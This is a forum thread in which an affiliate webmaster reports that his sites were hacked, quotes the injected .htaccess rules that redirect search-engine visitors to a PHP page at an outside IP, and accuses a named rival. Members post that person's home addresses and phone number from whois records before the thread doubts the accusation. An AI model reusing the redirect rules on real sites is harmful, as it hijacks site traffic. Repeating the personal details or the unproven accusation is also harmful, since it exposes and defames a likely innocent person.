Page 1 of 4 1234 LastLast
Results 1 to 20 of 64
  1. #1
    ron66 is offline Private Member
    Join Date
    May 2007
    Location
    Holland
    Posts
    14
    Thanks
    1
    Thanked 1 Time in 1 Post

    Angry Hacked affiliate sites

    Hello

    Can anybody help me finding out who is been hacking my sites.

    The websmaster of this website http://www.casinobonus4u.com/main.html?ref=7s
    Or
    http://www.casinobonus4u.com/

    Has hacked my server and had added my htaccess file with this piece of script,

    RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
    RewriteRule .* http://91.203.71.19/ppc.php [R,L]

    Every search in Google or any other search engine mentioned above, redirected the visitors to his websites.

    On one of his sites he has even a banner of jackpotcity.com
    But he has hide his affiliates codes.

    Can somebody tell me who this affiliate is?

    (NOTE) Have written a mail to Blue Square Ltd who owns Mecca bingo. And told them what one of there affiliates is doing
    Hope to get an answer from them on monday. Thanks for the help so far from you guys. I keep you posted about this.
    Last edited by ron66; 6 February 2010 at 8:18 am.

  2. #2
    Webzcas's Avatar
    Webzcas is offline Private Member
    Join Date
    March 2005
    Posts
    1,394
    Thanks
    582
    Thanked 1,015 Times in 408 Posts

    Default

    Whois Record: http://whois.domaintools.com/casinobonus4u.com

    Registrant:
    Ivan Velychko
    368 Dowson Loop
    Newmarket, Ontario L3X3G3
    CA

    Registrar: DOMAINBANK
    Domain Name: CASINOBONUS4U.COM
    Created on: 02-JAN-01
    Expires on: 02-JAN-11
    Last Updated on: 03-FEB-09

    Administrative, Technical Contact:
    Velychko, Ivan
    368 Dowson Loop
    Newmarket, Ontario L3X3G3
    CA
    416-219-7217

    Domain servers in listed order:
    NS3.POWWEB.COM
    NS1.POWWEB.COM
    Exit stage left

  3. The Following User Says Thank You to Webzcas For This Useful Post:

    Dominique (6 February 2010)

  4. #3
    Chalkie's Avatar
    Chalkie is offline Public Member
    Join Date
    December 2008
    Location
    West Bromwich UK
    Posts
    1,991
    Thanks
    683
    Thanked 580 Times in 393 Posts

    Default

    There is his Aff ID

    removed until proof of the facts are established
    Last edited by Chalkie; 6 February 2010 at 11:30 am.
    Paul

    [SIGPIC][/SIGPIC]


    GAU - Gambling Afilliates Union


    A lie gets halfway around the world before the truth has a chance to get its pants on.

    Winston Churchill

    Please sign this petition if you live in the UK or are an ex-pat Do not let any more children die for no reason

  5. The Following User Says Thank You to Chalkie For This Useful Post:

    Dominique (6 February 2010)

  6. #4
    Chalkie's Avatar
    Chalkie is offline Public Member
    Join Date
    December 2008
    Location
    West Bromwich UK
    Posts
    1,991
    Thanks
    683
    Thanked 580 Times in 393 Posts

    Default

    removed until proof of the facts are established
    Last edited by Chalkie; 6 February 2010 at 11:30 am.
    Paul

    [SIGPIC][/SIGPIC]


    GAU - Gambling Afilliates Union


    A lie gets halfway around the world before the truth has a chance to get its pants on.

    Winston Churchill

    Please sign this petition if you live in the UK or are an ex-pat Do not let any more children die for no reason

  7. #5
    thepokerkeep's Avatar
    thepokerkeep is offline Private Member
    Join Date
    October 2007
    Location
    London Canada
    Posts
    2,886
    Blog Entries
    2
    Thanks
    1,004
    Thanked 1,213 Times in 799 Posts

    Default

    Terry - The Pokerkeep
    President / CEO - Gambling Affiliates Union

    Casino Affiliate Programs
    Affiliate Resources
    Gambling Affiliate Program Blacklist

    Email: admin @ thepokerkeep.com



  8. #6
    pgaming's Avatar
    pgaming is offline Public Member
    Join Date
    July 2005
    Posts
    2,854
    Thanks
    414
    Thanked 215 Times in 164 Posts

    Default

    I am very familiar with the site in question. However, would it be possible to clarify "hack." What does this mean?

    pgaming/ shaddy

  9. #7
    thepokerkeep's Avatar
    thepokerkeep is offline Private Member
    Join Date
    October 2007
    Location
    London Canada
    Posts
    2,886
    Blog Entries
    2
    Thanks
    1,004
    Thanked 1,213 Times in 799 Posts

    Default

    He also owns:
    Registrant:
    Ivan Velychko
    15 Loudon cres
    Thornhill, ON L4J8N4
    CA

    Domain Name: FASTFREECASH.NET

    _________________

    Registrant:
    casinopresent.com
    368 Dowson Loop
    Newmarket, Ontario L3X 3G3
    CA

    Domain name: CASINOPRESENT.COM


    Administrative Contact:
    Velychko, Ivan
    368 Dowson Loop
    Newmarket, Ontario L3X 3G3
    CA
    4162197217
    Technical Contact:
    Velychko, Ivan
    368 Dowson Loop
    Newmarket, Ontario L3X 3G3
    CA
    4162197217
    Terry - The Pokerkeep
    President / CEO - Gambling Affiliates Union

    Casino Affiliate Programs
    Affiliate Resources
    Gambling Affiliate Program Blacklist

    Email: admin @ thepokerkeep.com



  10. #8
    ron66 is offline Private Member
    Join Date
    May 2007
    Location
    Holland
    Posts
    14
    Thanks
    1
    Thanked 1 Time in 1 Post

    Default

    With hacked I mean that he has stolen my hosting identity and passwords (somehow?) and changed the htaccess file in such a way that all traffic going to my websites was redirected to one of his sites. This is been checked by the hosting provider and they have seen that the IP address is from a place in the USA.

    Quote Originally Posted by pgaming View Post
    I am very familiar with the site in question. However, would it be possible to clarify "hack." What does this mean?

    pgaming/ shaddy

  11. #9
    casinobonusguy is offline Private Member
    Join Date
    October 2006
    Posts
    1,988
    Thanks
    158
    Thanked 998 Times in 611 Posts

    Default

    hey guys
    Ivan was to our event in Niagara Falls and totally does nto sound like something he will do.I am emailing him with the thread link so he read this.

    Judy

  12. #10
    slotplayer is offline Private Member
    Join Date
    September 2006
    Posts
    1,040
    Thanks
    195
    Thanked 323 Times in 252 Posts

    Default

    that's a virus, I was reading about it last may when I had a virus
    here is more info

    http://blog.javacoolsoftware.com/200...edirect-hacks/

  13. The Following 4 Users Say Thank You to slotplayer For This Useful Post:

    Anthony (6 February 2010), Dominique (6 February 2010), shortow (11 February 2010), Webzcas (6 February 2010)

  14. #11
    universal4's Avatar
    universal4 is offline Forum Administrator
    Join Date
    July 2003
    Location
    Courage is being scared to death...and saddling up anyway. John Wayne
    Posts
    28,042
    Thanks
    2,231
    Thanked 7,923 Times in 4,996 Posts

    Default

    To clarify this,

    What research led you to believe that the domains you posted were involved in any way?

    The htaccess file leads to an ip address and the page I see at that address does not appear on the surface to be connected to the domains you listed.

    The page I see there today has 4 ads on it, 2 for Bestcasino properties and 2 for Clubworld properties.

    It appears that may be ppc ads from a feed and if so, even having the affiliate id's does not necessarily lead to the person behind the htaccess file.

    I would very much to also help expose the scumbag behind the htaccess file change, but let's be careful NOT to point fingers at the wrong individuals.

    Rick
    Universal4
    Gambling World Online Roulette Online Blackjack Live Online Games Sports Betting Horse Racing
    Casino Affiliate Programs
    Hosting and Domain Names
    Gambling Industry Association
    GPWA Moderation by Me and My Big Bad Security Self
    If an affiliate program is not small affiliate friendly (especially small US Affiliate), then they are NOT Affiliate Friendly!

  15. #12
    Chalkie's Avatar
    Chalkie is offline Public Member
    Join Date
    December 2008
    Location
    West Bromwich UK
    Posts
    1,991
    Thanks
    683
    Thanked 580 Times in 393 Posts

    Default

    Quote Originally Posted by universal4 View Post
    To clarify this,

    What research led you to believe that the domains you posted were involved in any way?

    The htaccess file leads to an ip address and the page I see at that address does not appear on the surface to be connected to the domains you listed.

    The page I see there today has 4 ads on it, 2 for Bestcasino properties and 2 for Clubworld properties.

    It appears that may be ppc ads from a feed and if so, even having the affiliate id's does not necessarily lead to the person behind the htaccess file.

    I would very much to also help expose the scumbag behind the htaccess file change, but let's be careful NOT to point fingers at the wrong individuals.

    Rick
    Universal4
    I have removed the info regarding aff id's

    I think the op needs to prove this, not sure how now as no doubt the ht access file has been corrected.

    Rick, He states that his site was redirected to the site in question

    the first post is pretty clear in what has happened

    Are you saying that even if it was redirected there that it may not be the work of the site in question?
    Paul

    [SIGPIC][/SIGPIC]


    GAU - Gambling Afilliates Union


    A lie gets halfway around the world before the truth has a chance to get its pants on.

    Winston Churchill

    Please sign this petition if you live in the UK or are an ex-pat Do not let any more children die for no reason

  16. #13
    universal4's Avatar
    universal4 is offline Forum Administrator
    Join Date
    July 2003
    Location
    Courage is being scared to death...and saddling up anyway. John Wayne
    Posts
    28,042
    Thanks
    2,231
    Thanked 7,923 Times in 4,996 Posts

    Default

    What I stated was, I would like to know what info or research led him to the conclusion that the domains he posted were involved in ANY way.

    Was there more than one htaccess file?

    Was the htaccess file that he posted the only portion of the research?

    Did the htaccess file originally point to one of the domains in question?

    If in fact the page that was listed in the htaccess file is a feed (or dynamic page) of advertisers, then anyone that would buy an ad from that ad network could end up on that page (in theory at least).

    I just feel that the pointing of fingers (so far with the facts as I have seen thus far) can only be pointed at whoever is in control of the ip address listed in the htaccess file.

    And even then, the whatif scenario that also ha to be considered, "whatif the ip in question has also been hacked and the php page listed has been placed there without the knowledge of the person in control of the said ip?"

    Now, what we need to know, who is earning revenue from the ppc ads placed ON THAT PAGE as this is the most likely suspect in the above scenarios so far. (not the owner of the ads themselves)

    Rick
    Universal4
    Gambling World Online Roulette Online Blackjack Live Online Games Sports Betting Horse Racing
    Casino Affiliate Programs
    Hosting and Domain Names
    Gambling Industry Association
    GPWA Moderation by Me and My Big Bad Security Self
    If an affiliate program is not small affiliate friendly (especially small US Affiliate), then they are NOT Affiliate Friendly!

  17. #14
    Dominique's Avatar
    Dominique is offline Private Member
    Join Date
    March 2002
    Location
    The Boonies
    Posts
    4,777
    Thanks
    452
    Thanked 724 Times in 299 Posts

    Default

    Agreed, it will take a lot more sleuthing to find who is behind this, it's not that simple this time.

    Very interesting situation, and I hope we are able to clear this up so we all can be on the lookout.

  18. #15
    Chalkie's Avatar
    Chalkie is offline Public Member
    Join Date
    December 2008
    Location
    West Bromwich UK
    Posts
    1,991
    Thanks
    683
    Thanked 580 Times in 393 Posts

    Default

    Rick, now with you and your line of thinking.

    I just followed the fact stated by the guy, as i presume most did

    Now you make the points you do, i follow what you are saying

    seems this is could turn out to be quite complicated to figure and the original accused is probably innocent.

    Hopefully he may be able to shed some light and you may be able to come up with some ideas too
    Paul

    [SIGPIC][/SIGPIC]


    GAU - Gambling Afilliates Union


    A lie gets halfway around the world before the truth has a chance to get its pants on.

    Winston Churchill

    Please sign this petition if you live in the UK or are an ex-pat Do not let any more children die for no reason

  19. #16
    elgoog's Avatar
    elgoog is offline Private Member
    Join Date
    December 2006
    Location
    Europe
    Posts
    811
    Thanks
    537
    Thanked 298 Times in 196 Posts

    Default

    all links on this ip RewriteRule .* xxhttp://91.203.71.19/ppc.php [R,L]
    now redirect to google.com for me......
    but going through a proxy it does not....
    i am from the Netherlands/Holland also

    so the owner/hacker of xxhttp://91.203.71.19/ppc.php is knowing what he is doing and looks acting guilty

  20. #17
    casinobonusguy is offline Private Member
    Join Date
    October 2006
    Posts
    1,988
    Thanks
    158
    Thanked 998 Times in 611 Posts

    Default

    So what is the situation here?I sent Ivan an email no clue if he has received it or not.

    judy

  21. #18
    elgoog's Avatar
    elgoog is offline Private Member
    Join Date
    December 2006
    Location
    Europe
    Posts
    811
    Thanks
    537
    Thanked 298 Times in 196 Posts

    Default

    redirect to google.com (from the Netharlands) has been taken off

  22. #19
    IV
    IV is offline Public Member
    Join Date
    February 2010
    Posts
    21
    Thanks
    3
    Thanked 7 Times in 6 Posts

    Default

    Hi.
    I am owner of casinobonus4u.com. I am over 10 years in this business and I never heard more stupid thing like this. It looks like this guy ron66 new in this business and does not understand anything how seo companies work. I buy traffic from different seo companies who redirect search engines traffic to my site. This is paid traffic. I do not need to hack any sites or search engines. I just pay money for traffic. That's it.
    I hide some affiliate id for seo purposes, lots of affiliates are doing same.
    ron66 should contact his hosting company if he has any problem with his server.
    ron66 should think before send any messages.

  23. #20
    Chalkie's Avatar
    Chalkie is offline Public Member
    Join Date
    December 2008
    Location
    West Bromwich UK
    Posts
    1,991
    Thanks
    683
    Thanked 580 Times in 393 Posts

    Default

    I think he jumped the gun and added 2 + 2 getting 5

    There is an issue somewhere, however, clearly you are not the culprit

    Seems that someone else has done this to earn from PPC

    No one believes you to be at fault now, however, it would be good to catch the real culprit.
    Paul

    [SIGPIC][/SIGPIC]


    GAU - Gambling Afilliates Union


    A lie gets halfway around the world before the truth has a chance to get its pants on.

    Winston Churchill

    Please sign this petition if you live in the UK or are an ex-pat Do not let any more children die for no reason

Page 1 of 4 1234 LastLast

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •